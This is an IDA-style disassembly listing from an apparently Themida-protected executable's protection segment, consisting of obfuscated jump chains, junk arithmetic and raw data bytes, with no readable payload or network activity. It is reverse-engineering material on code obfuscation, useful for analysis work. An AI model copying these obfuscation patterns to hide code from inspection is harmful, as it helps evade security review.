loc_59E6F7:				; CODE XREF: Themida_:005936E0j
		push	eax
		jmp	loc_59BB69
; ---------------------------------------------------------------------------
byte_59E6FD	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:00590804o
		dd 0FFFF2397h, 0EE80D6F6h, 9FEE80FFh, 347568h, 7314E900h
		db 2 dup(0FFh)
word_59E716	dw 6664h		; DATA XREF: Themida_:00590A30o
		dd 0E902B60Fh, 0FFFFD5C9h, 15DEE31h, 0DA295EF2h, 646CEA81h
		dd 0EA812EBCh, 43F9157Ch, 2361E95Bh, 0C89FFFFh,	2359E924h
		dd 0DE88FFFFh, 0F000585Bh, 0E924148Bh, 0FFFF25EFh
; ---------------------------------------------------------------------------


loc_59E750:				; CODE XREF: Themida_:005A09ADj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59690B
; ---------------------------------------------------------------------------
		dd 555FF831h, 37DDB951h, 0CD89671Ah, 0FFD1C2E9h, 5E95CFFh
		dd 33FFFFE3h, 215C240Ch, 34FF1C47h, 54555824h, 0D7BE565Dh
		dd 813AC83Bh, 0C83BD3F6h, 75C5813Ah, 12D612Fh, 75ED81F5h
		dd 5E2D612Fh, 5504C583h, 42474FFh, 0FF8DADE9h, 72DD68FFh
		dd 1C890000h, 49326824h, 8F540000h, 4812404h, 424h, 21685B00h
		dd 8900000Ch, 8CE92434h, 89000064h, 6758E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E7DE:				; CODE XREF: Themida_:0059BDA7j
		push	edx
		jmp	loc_5917B2
; ---------------------------------------------------------------------------
		dd 33FDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E7EA:				; CODE XREF: Themida_:00595483j
		mov	eax, 1D2522F0h
		add	edx, eax
		pop	eax
		jmp	loc_5A4B64
; ---------------------------------------------------------------------------
		db 57h
		dd 0BB535F54h, 4, 0FF7117E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E805:				; CODE XREF: Themida_:005A32EFj
		mov	edx, 0BDFC6004h
		add	ecx, edx
		jmp	loc_5A5752
; ---------------------------------------------------------------------------


loc_59E811:				; CODE XREF: Themida_:005911BFj
		pop	esi
		jmp	loc_5997BB
; ---------------------------------------------------------------------------


loc_59E817:				; CODE XREF: Themida_:00592923j
		pop	ebp
		jmp	loc_5A31E0
; ---------------------------------------------------------------------------
aHf		db '[hä',7,0
		dw 8900h
		dd 4682414h, 0FF000000h, 17E92434h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E833:				; CODE XREF: Themida_:0059E1E0j
		xor	ebp, 32A2696Eh
		xor	ebp, 38DD4E10h
		jmp	loc_5A48BF
; ---------------------------------------------------------------------------
		dd 241C8966h, 880DB151h, 0F92859CFh, 0C8305B66h, 0E92434FFh
		dd 0FFFF69B1h, 5BFDF681h, 0F20112A2h, 8124348Bh, 4C4h
		dd 2300E900h, 1C890000h, 4EC8324h, 0BE243489h, 2F5122FFh
		dd 655DE9h, 0D3895D00h,	0FF540BE9h, 0D5E95BFFh
		db 10h,	2 dup(0)
byte_59E893	db 0FFh			; DATA XREF: Themida_:005909C0o
		dd 34FF2434h, 24048B24h, 8104C483h, 4C4h, 59E95600h, 88FFFF46h
		dd 1C8B58C2h, 0E3895324h, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 4B9240Ch,	1000000h, 240C8BCBh, 4C481h, 0C3810000h
		dd 4, 0FF65E3E9h, 241487FFh, 2424895Ch,	4240483h, 0E9240C8Bh
		dd 0FFFF7D9Ah
; ---------------------------------------------------------------------------


loc_59E8F8:				; CODE XREF: Themida_:005A244Cj
		and	edx, eax
		mov	eax, [esp]
		add	esp, 4
		dec	edx
		jmp	loc_5A1671
; ---------------------------------------------------------------------------
		dw 5259h
		dd 0FF522DE9h, 71E680FFh, 0E9E5F680h, 0FFFFAE8Eh
dword_59E918	dd 0E26866ACh, 0C89662Fh, 8057B124h, 0E9D006C1h, 0C003E9C0h
					; DATA XREF: Themida_:005909FCo
		dd 0C18002E9h, 0B0B151E7h, 0E9D3F180h, 65EBh, 5F246855h
		dd 2C8B7FDCh, 0E1895124h, 4C181h, 22E90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E953:				; CODE XREF: Themida_:00593855j
		xor	eax, esi
		xor	esi, eax
		not	eax
		xor	esi, eax
		xor	eax, esi
		xor	esi, eax
		xchg	esi, ebp
		push	10EAh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_59E304
; ---------------------------------------------------------------------------


loc_59E987:				; CODE XREF: Themida_:00593D75j
		or	ebx, 3F09020Fh
		dec	ebx
		jmp	loc_596C95
; ---------------------------------------------------------------------------
		db 57h
		dd 0E6403568h, 0EF815F02h, 9E592748h, 8EE9F889h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E9A7:				; CODE XREF: Themida_:0059ABB9j
		push	eax
		mov	eax, 2292926h
		shl	eax, 3
		or	eax, 2B8F4E98h
		neg	eax
		jmp	loc_5914C4
; ---------------------------------------------------------------------------
		dd 8B243C87h, 3CD32424h, 0FBE99C24h, 47000012h,	0FFAFBCE9h
		dd 0A16851FFh, 59203763h, 4F97BF57h, 0F9090EDDh, 4EC815Fh
		dd 89000000h, 6FE9240Ch, 87FFFF37h, 525C2404h, 0FF3C9FE9h
		db 0FFh
byte_59E9F9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005909F4o
		dd 0C66BE924h, 487FFFFh, 0C1E95C24h, 0B9FFFF69h, 0F826F34h
		dd 1637E181h, 6BE95F0Ah, 51FFFFD6h, 0FFC873E9h,	0EC8156FFh
		dd 4, 68240489h, 214C63EFh, 3E8C158h, 4F03D925h, 0E955566Dh
		dd 4EDh, 658E953h, 685C0000h, 7C0Bh, 0B8240489h, 0C64209Fh
		dd 8158C329h, 2A6CE0EBh, 81C30142h, 2A6CE0C3h, 0E9555042h
		dd 0FFFFC278h, 92E9DDF7h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EA73:				; CODE XREF: Themida_:00599029j
		pop	esp
		mov	[esp], esi
		jmp	loc_5928C5
; ---------------------------------------------------------------------------
		dd 99E9595Ch, 5EFFFFDEh, 0A6BF5756h, 0E94BA913h, 0FFFF9CEFh
; ---------------------------------------------------------------------------


loc_59EA90:				; CODE XREF: Themida_:005A2D69j
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A198E
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 0E9515C24h, 0FFFF883Dh, 564318BDh, 3CC58159h
		dd 0E935C51Ch, 0FFFF40F9h
; ---------------------------------------------------------------------------


loc_59EAC8:				; CODE XREF: Themida_:00594062j
		sub	ebx, esi
		jmp	loc_593BEF
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF1FC7h, 5C75E957h, 0BCE9FFFFh
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EADF:				; CODE XREF: Themida_:005A3CA7j
		mov	ecx, 23A2E698h
		jmp	loc_59A0EB
; ---------------------------------------------------------------------------
		db 88h,	0EAh, 88h
		dd 59665AD4h, 0D09AE480h, 94EC80ECh, 0E903F480h, 2913h
		dd 8904EC83h, 0E1E92414h, 5AFFFF66h, 0ADFE9h, 53E18900h
		dd 4BBh, 0E9D90100h, 0FFFF2A0Eh, 8904EC83h, 3AB22414h
		dd 805AD588h, 87E91CC5h, 8900000Dh, 0C0E958C3h,	8BFFFFC9h
		dd 0E8E9240Ch, 0B8FFFF2Ch, 45776661h, 0C1021425h, 14F75000h
		dd 6E04E924h, 0C7800000h, 20C8E92Bh, 0F0290000h, 8BC1015Eh
		dd 0C4832404h, 240C3304h, 33240C31h, 248B240Ch,	148B6624h
		dd 4EC8124h, 89000000h,	97E9240Ch, 5BFFFFCFh, 4247401h
		dd 4DAE952h, 0D6010000h, 5EF1015Ah, 8702C183h, 248B240Ch
		dd 2EC8324h, 50C0E9h, 0E943B700h, 0FFFF6F64h
; ---------------------------------------------------------------------------


loc_59EBB0:				; CODE XREF: Themida_:00591442j
		push	edi
		mov	edi, 771D6689h
		dec	edi
		shr	edi, 1
		push	ebx
		mov	ebx, 0CEABA86Fh
		sub	edi, ebx
		pop	ebx
		mov	ebx, edi
		jmp	loc_5A0AED
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 89h
		dd 0E904D371h, 21E6h, 3F6668h, 24248900h, 0A34EE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EBE2:				; CODE XREF: Themida_:00598AB2j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	edx
		jmp	loc_5A2EC8
; ---------------------------------------------------------------------------
		dw 8FB9h
		dd 8109666Ah, 250FF3C9h, 4E9C139h, 0E981D9F7h, 69433860h
		dd 509DE981h, 0ED819326h, 4E3F7ED5h, 0C581CD01h, 4E3F7ED5h
		dd 50C3E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EC2E:				; CODE XREF: Themida_:00597590j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	6D838824h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	eax, 5CC91BF0h
		add	eax, 2C247E9Ah
		sub	eax, esi
		sub	eax, 2C247E9Ah
		push	ecx
		jmp	loc_597770
; ---------------------------------------------------------------------------


loc_59EC6F:				; CODE XREF: Themida_:005A5B2Ej
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A2FDF
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA810000h, 4, 0FFE6EDE9h
		db 0FFh
byte_59EC8D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00590874o
		dd 278E924h, 0FF5A0000h, 0BCE92434h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EC9F:				; CODE XREF: Themida_:0059419Dj
		pop	esp
		push	2AE5h
		mov	[esp], ebp
		push	esi
		push	edx
		jmp	loc_5915B1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832424h, 240C8904h, 246855B1h, 8900000Ah,	0B652241Ch
		dd 4EC8143h, 89000000h,	0B551241Ch, 59EB8868h, 0FF3D23E9h
		dd 57222DFFh, 815A3A1Ch, 854006EFh, 0EC78109h, 296EBF34h
		dd 0EEF81C7h, 816EBF34h, 854006C7h, 24048B09h, 136AE9h
		db 0
; ---------------------------------------------------------------------------


loc_59ED01:				; CODE XREF: Themida_:005917DCj
		mov	ebx, 0F9CBFC6Dh
		add	ebp, 61935E13h
		add	ebp, ebx
		sub	ebp, 61935E13h
		pop	ebx
		jmp	loc_5A035E
; ---------------------------------------------------------------------------
		dw 0BE66h
		dd 5766522Eh, 3882BF66h, 0FF56B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59ED29:				; CODE XREF: Themida_:005A11B6j
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 2
		sub	edx, 46B557A6h
		add	edx, 32076E9h
		add	edx, 0EF14FB4h
		sub	edx, ebx
		sub	edx, 0EF14FB4h
		push	eax
		mov	eax, 32076E9h
		sub	edx, eax
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_594AA6
; ---------------------------------------------------------------------------
		dw 0F589h
		dd 8324348Bh, 0EF0104C4h, 0E689565Dh, 3636BD55h, 0ED816BEDh
		dd 24DE2B61h, 0CFCE9h, 4342C00h, 2CD82800h, 0E9340400h
		dd 4F4Dh, 0ED81C501h, 156C5426h, 66A1E9h, 88C98100h, 0E908B56Eh
		dd 0FFFFBE31h
; ---------------------------------------------------------------------------


loc_59EDB0:				; CODE XREF: Themida_:005A0948j
		pop	esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A0EB0
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0
		dd 9AA3560h, 0E95E1C77h, 0FFFF448Ch
dword_59EDDC	dd 0E9028F66h, 0FFFFB6B9h; ---------------------------------------------------------------------------


loc_59EDE4:				; CODE XREF: Themida_:0059B4A4j
		and	eax, esi
		jmp	loc_59814B
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFC2h, 289EE9h, 34FF5400h, 2434FF24h, 0E289525Dh
		dd 6510E9h, 241C8900h, 4BBh, 0E9DE2900h, 0FFFF6C22h, 81242489h
		dd 42404h, 515F0000h, 942D17B9h, 13F18133h, 8133942Dh
		dd 6705E3C7h, 81CF013Ch, 6705E3EFh, 240C8B3Ch, 8304C483h
		dd 29E904C7h, 0E9FFFFA8h, 0FFFF1C4Fh
; ---------------------------------------------------------------------------


loc_59EE4C:				; CODE XREF: Themida_:00594109j
		pop	esp
		pop	dword ptr [esp]
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5996D3
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 0E9h
		dd 0FFFF5835h, 61A7B850h, 0A50510F2h, 90683DDh,	1FE958C6h
		dd 66FFFF4Fh, 666BDC68h, 53241489h, 0B951E389h,	69034F3Ah
		dd 0C9C18141h, 196FCB0h, 55A1E9CBh, 0C281FFFFh,	1FE84E49h
		dd 5D684258h, 0E900003Bh, 0FFFF9AA7h, 0E7C14F97h, 6CEF8102h
		dd 47090AA1h, 53A3E781h, 0E7813739h, 58F67B10h,	0FF24D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EECD:				; CODE XREF: Themida_:005A18C0j
		add	edi, 4FFC2667h
		dec	edi
		shl	edi, 6
		add	edi, 9AC8F268h
		sub	eax, edi
		pop	edi
		add	esi, eax
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5A50B3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815A24h, 4, 0FFB062E9h, 6F2D40FFh, 89F7A95Eh, 69DEE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59157D
; ---------------------------------------------------------------------------
		dw 0FB29h
		dd 481535Fh, 100F1124h,	0EF815F4Eh, 4E100F11h, 0FF8F46E9h
		dd 145BBDFFh, 0F58145CBh, 2192243h, 14ADE955h, 0C4830000h
		dd 4EF8104h, 0E9000000h, 0FFFF7A96h
; ---------------------------------------------------------------------------


loc_59EF4C:				; CODE XREF: Themida_:005A2293j
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_5A4155
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 3Bh
		dd 8164E008h, 3309A0E9h, 59CD31A7h, 7ED1EA81h, 0E938F9h
		dd 81FFFFEBh, 8C07A9F2h, 0BDCA8171h, 0E959C463h, 0F43h
		dd 2C481h, 0C8280000h, 0E9C4B652h, 0FFFFF76Ch, 8BEA015Fh
		dd 0F5E9242Ch, 5BFFFF28h, 0C8289E04h, 0B7E99E2Ch, 81FFFFB4h
		dd 4C4h, 0CEB95100h, 128C834h, 4E959CAh, 0BFFFFF9Fh, 49C014D5h
		dd 1179512Dh, 5F82949h,	49117951h, 5F2434FFh, 0E904C483h
		dd 0FFFF6A04h, 1E13E95Fh, 2C810000h, 0C7028B24h, 24348B3Ch
		dd 4C481h, 0BF570000h, 540B1A96h, 0C781DFF7h, 90D21D21h
		dd 16E9FE01h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F00B:				; CODE XREF: Themida_:005A59DAj
		mov	eax, esp
		jmp	loc_59D390
; ---------------------------------------------------------------------------


loc_59F012:				; CODE XREF: Themida_:005914B6j
		pop	edi
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59AE1A
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 2DD8F708h, 0FDFFADECh, 0FFE385E9h, 402CBBFFh, 0EB815EFCh
		dd 767443A7h, 126CB850h, 0D0F705D5h, 1A3CE125h,	2250E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F05A:				; CODE XREF: Themida_:00591102j
		sub	ebp, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59F268
; ---------------------------------------------------------------------------
		dd 4A0555BAh, 24540134h, 24E95A08h, 5000000Eh, 4F6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F081:				; CODE XREF: Themida_:00592011j
		shr	esi, 3
		sub	esi, 4A9B4645h
		xor	esi, 0F8A54F2Eh
		add	ecx, esi
		pop	esi
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_596BDC
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5B0424h, 248B2404h, 4C48124h, 0E9000000h, 0FFFF3D17h
; ---------------------------------------------------------------------------


loc_59F0B4:				; CODE XREF: Themida_:005A50F9j
		sub	ebx, 26C31072h
		jmp	loc_5970AF
; ---------------------------------------------------------------------------
		db 81h
		dd 5D5613E2h, 3E2C129h,	0FFFCEA81h, 0D189427Fh,	59C8295Ah
		dd 0FF473DE9h, 0BF6850FFh, 8900007Fh, 0C8E9242Ch, 89FFFF8Ch
		dd 243C8BF8h, 5177E955h
		db 2 dup(0)
word_59F0F2	dw 8B66h		; DATA XREF: Themida_:00590848o
		dd 0EC83240Ch, 243C8904h, 0C781E789h, 4, 351468h, 24148900h
		dd 310A6855h, 2C8B46EDh, 4C48124h, 51000000h, 0FF7B93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F121:				; CODE XREF: Themida_:005A0E4Fj
		push	ebx
		mov	ebx, 32011047h
		jmp	loc_5945DA
; ---------------------------------------------------------------------------
		dd 0A3C681h, 0EEC1257Dh, 68D6F704h, 7D87h, 55240489h, 0CD1090BDh
		dd 5DE88979h, 3504E8C1h, 0E77A2E5h, 8158C601h, 4ECh, 40A0E900h
		dd 0EE68FFFFh, 0E9000035h, 0FFFF7D06h, 8324148Bh, 48F04C4h
		dd 9A67E924h, 0E8D1FFFFh, 0FFD5DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F17D:				; CODE XREF: Themida_:0059F361j
		sub	ah, 57h
		jmp	loc_590E9C
; ---------------------------------------------------------------------------
		db 0B9h, 5Bh, 39h
		dd 88BA604Eh, 3119BF03h, 49E959CAh, 8900002Fh, 0E9562404h
		dd 3BAEh, 252EBF57h, 0D7F700B8h, 1EF81h, 0D7F70000h, 44C9F781h
		dd 0F78149E0h, 57B4477Fh, 950BA52h, 0DAF76BBEh,	7DE9D2F7h
		dd 89000022h, 3DBA2414h, 8137DA08h, 9446A4CAh, 0FFEA8343h
		dd 2C57E9h, 0F40BA00h, 0D3E94A72h, 81FFFF80h, 3B7BDAEBh
		dd 0EC815E15h, 4, 0FF9BB8E9h, 0C8966FFh, 1FB124h, 805966CBh
		dd 0D92881E9h, 0E981C180h, 0FFFFFD8Fh, 0BE3114BDh, 5DEA0159h
		dd 3A50BF57h, 0FA013F4Eh, 83243C8Bh, 815F04C4h,	4ECh, 24148900h
		dd 42474FFh, 24048F5Ah,	2434FF5Ch, 0FF2434FFh, 0C8B2434h
		dd 4C48324h, 4C481h, 70680000h,	89000044h, 9368242Ch, 54000050h
		dd 0E924048Fh, 6A4h
; ---------------------------------------------------------------------------


loc_59F268:				; CODE XREF: Themida_:0059F067j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5925EE
; ---------------------------------------------------------------------------
		db 56h
		dd 7A2CBD55h, 54E9293Ch
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F27F:				; CODE XREF: Themida_:005966FEj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A1B32
; ---------------------------------------------------------------------------
		dw 0E2B8h
		dd 0E9393B0Ch, 310Ch
; ---------------------------------------------------------------------------


loc_59F294:				; CODE XREF: Themida_:005A51FCj
		push	ebx
		mov	ebx, 0
		add	ebx, 389E521Bh
		add	ebx, ecx
		sub	ebx, 389E521Bh
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		mov	eax, [ecx]
		pop	ecx
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_591FBC
; ---------------------------------------------------------------------------
dword_59F2FC	dd 24048B66h, 5BD668h, 0B995E900h, 20B2FFFFh, 68DECA80h
					; DATA XREF: Themida_:00590A0Co
		dd 437Ch, 88240489h, 0F292E9D4h, 3C87FFFFh, 2C895C24h
		dd 9F8BD24h, 0F8B94344h, 0E9483857h, 5E4Ch, 596AEA81h
		dd 0D18770ECh, 0FCC1815Ah, 0E937B674h, 0FFFF5AFDh
; ---------------------------------------------------------------------------


loc_59F348:				; CODE XREF: Themida_:0059A43Aj
		or	ebp, 1D3B6E77h
		jmp	loc_59A8AC
; ---------------------------------------------------------------------------


loc_59F353:				; CODE XREF: Themida_:0059A9F6j
		inc	ch
		push	eax
		mov	ah, 0C8h
		add	ah, 27h
		xor	ah, 46h
		shr	ah, 8
		jmp	loc_59F17D
; ---------------------------------------------------------------------------


loc_59F366:				; CODE XREF: Themida_:00599014j
		mov	[esp], ebx
		push	eax
		push	55AB1BDAh
		pop	eax
		jmp	loc_5A0F4B
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 87000000h, 525C240Ch, 92103168h, 0D5095A11h,	0F581455Ah
		dd 367F1DFBh, 0FF31DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F395:				; CODE XREF: Themida_:005947E5j
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 537A4DA3h
		sub	edi, 0FFFFFFFFh
		push	eax
		mov	eax, 0D367A2h
		jmp	loc_5914D6
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 15h
		dd 89FFFFD9h, 0E189240Ch, 0FFFEAEE9h, 240C31FFh, 1E6AE9h
		dd 0EB885300h, 1C8BDA88h, 4C48124h, 59000000h, 0E901C280h
		dd 0FFFF9E14h
; ---------------------------------------------------------------------------


loc_59F3E4:				; CODE XREF: Themida_:005915B6j
		mov	esi, edx
		jmp	loc_593C81
; ---------------------------------------------------------------------------
aQCss		db '[Q±æé‘#',0
		align 4
		dd 1177C181h, 0C889B978h, 15E5E9h, 55BB5300h, 0E9344A05h
		dd 106Fh, 5D2434FFh, 5204C483h,	0FF94CEE9h, 0E9D529FFh
		dd 0FFFFFAD2h, 8104C483h, 4C6h,	4BD5500h, 1000000h, 1E3E9EEh
		dd 148B0000h, 4EC8124h,	0E9000000h, 0FFFFF02Fh,	4E9DE95Bh
		dd 8B66FFFFh, 0C1E92404h, 89FFFFEBh, 4C581E5h, 83000000h
		dd 2C8704EDh, 24248B24h, 54241489h, 0C8B8505Ah,	5721907h
		dd 8DE6F83Ch, 5158C201h, 536F4B9h, 7BF18164h, 0F75CD903h
		dd 0BBF181D1h, 8131CF74h, 0ECBEC7E9h, 89C281F6h, 290A9626h
		dd 43DBE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F49E:				; CODE XREF: Themida_:0059A897j
		push	eax
		mov	eax, 6BD9655Eh
		or	eax, 71144E61h
		not	eax
		xor	eax, 3BEE0F1Dh
		add	eax, 5D90DEDBh
		xor	ecx, eax
		pop	eax
		xor	ecx, 0B589BCBCh
		jmp	loc_5A2D00
; ---------------------------------------------------------------------------
byte_59F4C3	db 8Bh			; DATA XREF: Themida_:00590954o
		dd 54562404h, 4EC815Eh,	0E9000000h, 0FFFFE8AEh
; ---------------------------------------------------------------------------


loc_59F4D4:				; CODE XREF: Themida_:005A5A09j
		push	ebx
		mov	ebx, 201A0D77h
		jmp	loc_5A0EC5
; ---------------------------------------------------------------------------
		db 89h
		dd 5EE92424h, 55FFFF87h, 1F2407BDh, 0B5E5811Eh,	81285522h
		dd 3D1B07F5h, 0F56EE912h, 0CA01FFFFh, 0FFCD35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F505:				; CODE XREF: Themida_:0059A98Bj
		push	ebp
		push	eax
		mov	eax, 71C2065h
		mov	ebp, eax
		pop	eax
		shl	ebp, 3
		or	ebp, 160650B7h
		jmp	loc_594F95
; ---------------------------------------------------------------------------
		db 30h,	0EBh, 66h
		dd 226BE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F526:				; CODE XREF: Themida_:005A4495j
		add	esp, 4
		jmp	loc_59ADCD
; ---------------------------------------------------------------------------


loc_59F52E:				; CODE XREF: Themida_:00592AD2j
		mov	ebx, esi
		mov	esi, [esp]
		jmp	loc_595BAD
; ---------------------------------------------------------------------------


loc_59F538:				; CODE XREF: Themida_:00599E0Bj
		push	eax
		push	ebx
		jmp	loc_59AE38
; ---------------------------------------------------------------------------
		db 53h
		dd 0C07E76BBh, 8BDA3104h, 0C483241Ch, 9961E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F552:				; CODE XREF: Themida_:0059ADE0j
		sub	ebp, 26447CE9h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		pop	dword ptr [edi+20h]
		jmp	loc_5A5B8E
; ---------------------------------------------------------------------------
		dd 0E9028864h, 0FFFF152Bh, 8108E3C1h, 6F06BFCBh, 3E3C134h
		dd 3638E9h
		db 0
; ---------------------------------------------------------------------------


loc_59F581:				; CODE XREF: Themida_:005A15C5j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ecx
		jmp	loc_5A5731
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 6E4A0424h, 44814890h, 0DE90424h, 15E90176h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F5AB:				; CODE XREF: Themida_:005954DDj
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 51FE19EBh
		push	esi
		mov	esi, 5F98547Fh
		shr	esi, 2
		not	esi
		inc	esi
		jmp	loc_596009
; ---------------------------------------------------------------------------
		dd 88EB8853h, 0C0B6E9DAh, 0C328FFFFh, 39C1E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F5DA:				; CODE XREF: Themida_:0059747Bj
		sub	al, 0D8h
		sub	al, dl
		add	al, 0D8h
		push	ebx
		mov	bl, 0F1h
		shl	bl, 7
		inc	bl
		add	bl, 0B9h
		jmp	loc_5A2AA0
; ---------------------------------------------------------------------------
		dd 0DA226568h, 243C8B72h, 0E904C483h, 0FFFF2661h, 0B6EF80h
		dd 0DE95BF8h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59F60B:				; CODE XREF: Themida_:0059B791j
		add	edx, 0EFD6F30h
		mov	edi, [esp]
		jmp	loc_598AEA
; ---------------------------------------------------------------------------
		db 5Dh,	33h, 34h
		dd 24343124h, 0E9243433h, 0FFFF26C0h, 8247C01h,	0C8E9585Fh
		dd 80FFFFB3h, 8E922EBh,	81000048h, 936A51C6h, 81D60124h
		dd 936A51EEh, 0A6E95A24h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F64F:				; CODE XREF: Themida_:005A10B2j
		mov	ebp, 5B513A04h
		shr	ebp, 3
		jmp	loc_59B0A5
; ---------------------------------------------------------------------------
		dd 8704C383h, 248B241Ch, 0F6E9C324h, 0F700002Ch, 575A2414h
		dd 8D5DF1BFh, 5FFA3148h, 51E9C281h, 0D129690Fh,	0FF1F36E9h
		dd 24048BFFh, 4C481h, 12680000h, 89000008h, 22E9242Ch
		dd 0FFFF2Dh, 535959C8h,	0E950E389h, 0FFFFF49Bh,	7E25E381h
		dd 0E38143D8h, 29EA0B17h, 0CBF6EB81h, 0DEE9EE56h, 81FFFFC0h
		dd 0FC63D4CEh, 8CB9E917h, 481FFFFh, 424h, 0E9555F00h, 0FFFFCC3Eh
; ---------------------------------------------------------------------------


loc_59F6D8:				; CODE XREF: Themida_:00590D6Ej
		mov	ebx, [esp]
		push	ecx
		jmp	loc_59D2CA
; ---------------------------------------------------------------------------


loc_59F6E1:				; CODE XREF: Themida_:005952FAj
		xor	eax, 106938ACh
		add	esi, eax
		jmp	loc_5A160F
; ---------------------------------------------------------------------------


loc_59F6ED:				; CODE XREF: Themida_:0059FB2Aj
		pop	esi
		add	edx, 8F9185D8h
		push	edx
		mov	edx, 28144F14h
		neg	edx
		neg	edx
		sub	edx, 0B3612492h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, edx
		push	eax
		mov	eax, 74B32A82h
		add	ebx, eax
		pop	eax
		jmp	loc_59952C
; ---------------------------------------------------------------------------
aL4Htr		db '‹4$hâr',0
		align 4
		dd 89243489h, 4C681E6h,	0E9000000h, 0FFFF3805h
; ---------------------------------------------------------------------------


